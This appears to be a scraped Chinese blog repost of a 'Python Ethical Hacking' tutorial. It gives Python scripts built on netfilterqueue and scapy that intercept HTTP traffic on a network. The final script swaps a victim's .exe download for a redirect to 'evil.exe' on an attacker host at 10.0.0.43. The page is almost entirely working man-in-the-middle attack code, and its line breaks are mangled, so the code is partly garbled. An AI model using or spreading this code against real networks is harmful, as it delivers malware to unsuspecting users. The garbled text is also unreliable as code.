MODIFYING DATA IN HTTP LAYER

  • Edit requests/responses.
  • Replace download requests.
  • Inject code(html/Javascript)

Modifying HTTP Requests on the Fly:

#!/usr/bin/env python

from netfilterqueue import NetfilterQueue
from scapy.layers.inet import IP, TCP
from scapy.packet import Raw ack_list = [] def process_packet(packet):
scapy_packet = IP(packet.get_payload())
# print(scapy_packet.show())
if scapy_packet.haslayer(TCP) and scapy_packet.haslayer(Raw):
if scapy_packet[TCP].dport == 80:
# print("HTTP Request")
if ".rar" in scapy_packet[Raw].load.decode():
print("[+] rar Request")
ack_list.append(scapy_packet[TCP].ack)
print(scapy_packet.show())
elif scapy_packet[TCP].sport == 80:
if scapy_packet[TCP].seq in ack_list:
ack_list.remove(scapy_packet[TCP].seq)
print("[+] Replacing file")
# print("HTTP Response")
print(scapy_packet.show()) packet.accept() queue = NetfilterQueue()
queue.bind(0, process_packet)
try:
queue.run()
except KeyboardInterrupt:
print('')

Browse the http website and download the .rar file.

Refer to the HTTP Code list to modify the responses.

https://en.wikipedia.org/wiki/List_of_HTTP_status_codes

#!/usr/bin/env python

from netfilterqueue import NetfilterQueue
from scapy.layers.inet import IP, TCP
from scapy.packet import Raw ack_list = [] def process_packet(packet):
scapy_packet = IP(packet.get_payload())
if scapy_packet.haslayer(TCP) and scapy_packet.haslayer(Raw):
if scapy_packet[TCP].dport == 80:
if ".rar" in scapy_packet[Raw].load.decode():
print("[+] rar Request")
ack_list.append(scapy_packet[TCP].ack)
print(scapy_packet.show())
elif scapy_packet[TCP].sport == 80:
if scapy_packet[TCP].seq in ack_list:
ack_list.remove(scapy_packet[TCP].seq)
print("[+] Replacing file")
scapy_packet[Raw].load = "HTTP/1.1 301 Moved Permanently\nLocation: https://www.rarlab.com/rar/winrar-x64-571sw.exe\n\n"
del scapy_packet[IP].len
del scapy_packet[IP].chksum
del scapy_packet[TCP].chksum
packet.set_payload(str(scapy_packet).encode()) packet.accept() queue = NetfilterQueue()
queue.bind(0, process_packet)
try:
queue.run()
except KeyboardInterrupt:
print('')

Intercepting and replacing downloads on the network

#!/usr/bin/env python

from netfilterqueue import NetfilterQueue
from scapy.layers.inet import IP, TCP
from scapy.packet import Raw ack_list = [] def set_load(packet, load):
packet[Raw].load = load
del packet[IP].len
del packet[IP].chksum
del packet[TCP].chksum
return packet def process_packet(packet):
scapy_packet = IP(packet.get_payload())
if scapy_packet.haslayer(Raw) and scapy_packet.haslayer(TCP):
# print(scapy_packet[TCP].dport)
# print(scapy_packet[TCP].sport)
# print(scapy_packet[TCP].seq) if scapy_packet[TCP].dport == 80:
if ".exe" in scapy_packet[Raw].load.decode():
print("[+] exe Request")
ack_list.append(scapy_packet[TCP].ack)
elif scapy_packet[TCP].sport == 80:
if scapy_packet[TCP].seq in ack_list:
ack_list.remove(scapy_packet[TCP].seq)
print("[+] Replacing file")
modified_packet = set_load(scapy_packet, "HTTP/1.1 301 Moved Permanently\nLocation: http://10.0.0.43/evil-files/evil.exe\n\n") packet.set_payload(str(modified_packet).encode()) packet.accept() queue = NetfilterQueue()
queue.bind(0, process_packet)
try:
queue.run()
except KeyboardInterrupt:
print('')

Python Ethical Hacking - MODIFYING DATA IN HTTP LAYER(1)的更多相关文章

  1. Python Ethical Hacking - MODIFYING DATA IN HTTP LAYER(2)

    MODIFYING DATA IN HTTP LAYER Edit requests/responses. Replace download requests. Inject code(html/Ja ...

  2. Python Ethical Hacking - MODIFYING DATA IN HTTP LAYER(3)

    Recalculating Content-Length: #!/usr/bin/env python import re from netfilterqueue import NetfilterQu ...

  3. Python股票分析系列——基础股票数据操作(一).p3

    该系列视频已经搬运至bilibili: 点击查看 欢迎来到Python for Finance教程系列的第3部分.在本教程中,我们将使用我们的股票数据进一步分解一些基本的数据操作和可视化.我们将要使用 ...

  4. 传输层-Transport Layer(上):传输层的功能、三次握手与四次握手、最大-最小公平、AIMD加法递增乘法递减

    第六章 传输层-Transport Layer(上) 6.1传输层概述 在之前的几章内容中,我们自底向上的描述了计算机网络的各个层次,还描述了一些处于不同层次下的经典网络协议(如以太网.无线局域网.或 ...

  5. 【python】Leetcode每日一题-前缀树(Trie)

    [python]Leetcode每日一题-前缀树(Trie) [题目描述] Trie(发音类似 "try")或者说 前缀树 是一种树形数据结构,用于高效地存储和检索字符串数据集中的 ...

  6. Python解析器源码加密系列之(二):一次使用标准c的FILE*访问内存块的尝试

    摘要:由于近期打算修改Python解释器以实现pyc文件的加密/解密,出于保密的要求,解密之后的数据只能放在内存中,不能写入到文件中.但是后续的解析pyc文件的代码又只能接受FILE*作为入参,所以就 ...

  7. WCF Data Service 使用小结(二) —— 使用WCF Data Service 创建OData服务

    在 上一章 中,介绍了如何通过 OData 协议来访问 OData 服务提供的资源.下面来介绍如何创建一个 OData 服务.在这篇文章中,主要说明在.NET的环境下,如何使用 WCF Data Se ...

  8. 关于Core Data的一些整理(五)

    关于Core Data的一些整理(五) 在Core Data中使用NSFetchedResultsController(以下简称VC)实现与TableView的交互,在实际中,使用VC有很多优点,其中 ...

  9. 关于Core Data的一些整理(四)

    关于Core Data的一些整理(四) 调用Core Data文件中的Request模板进行条件匹配 //获取ObjectModel相当于获取Core Date文件 NSManagedObjectMo ...

随机推荐

  1. TXT文件的写入及读出

    一.文件的读出: file = open('url/data.txt','r',encoding='utf-8')#打开模式r w a,当文件在当前工作区域直接写文件名:如果不在当前工作区域要写绝对地 ...

  2. LevelDB/Rocksdb 特性分析

    LevelDb是Google开源的嵌入式持久化KV 单机存储引擎.采用LSM(Log Structured Merge)tree的形式组织持久化存储的文件sstable.LSM会造成写放大.读放大的问 ...

  3. selenium3.0-selenium发展史

  4. 04[掌握] Java连接redis操作

    1,Jedis所需要的jar包依赖 <dependency> <groupId>redis.clients</groupId> <artifactId> ...

  5. Validate日期校验

    public class Validate { private static Regex RegNumber = new Regex("^[0-9]+$"); private st ...

  6. vueX基础知识笔记

    接着昨天的知识点 mutations提交时,有时候达不到想要的响应式,我们必须要将数据提前放到state中,否则不会达到响应式的效果.比如 state.info['address'] = value ...

  7. java List的初始化

    今天在处理生成excel的时候用到了java的list,但是需要直接赋值固定的几个变量,如果先初始化然后add的方法: List<String> name = new ArrayList( ...

  8. 高速缓存一致性协议MESI与内存屏障

    一.CPU高速缓存简单介绍 CPU高速缓存机制的引入,主要是为了解决CPU越来越快的运行速度与相对较慢的主存访问速度的矛盾.CPU中的寄存器数量有限,在执行内存寻址指令时,经常需要从内存中读取指令所需 ...

  9. Html5中input新增的表单元素和属性介绍。

    input标签主要用于Web表单的创建交互,以便接受来自用户的数据. 我们通过更改type属性的值,来实现不同的输入类型.在以前的写法中表单元素必须放在form元素所包含的里面,而在html5中,我们 ...

  10. BUUCTF-Crypyo-No.1

    我我我我我又来惹~~~~* MD5 flag{admin1} 看我回旋踢 凯撒密码 flag{5cd1004d-86a5-46d8-b720-beb5ba0417e1} Url编码 flag{and ...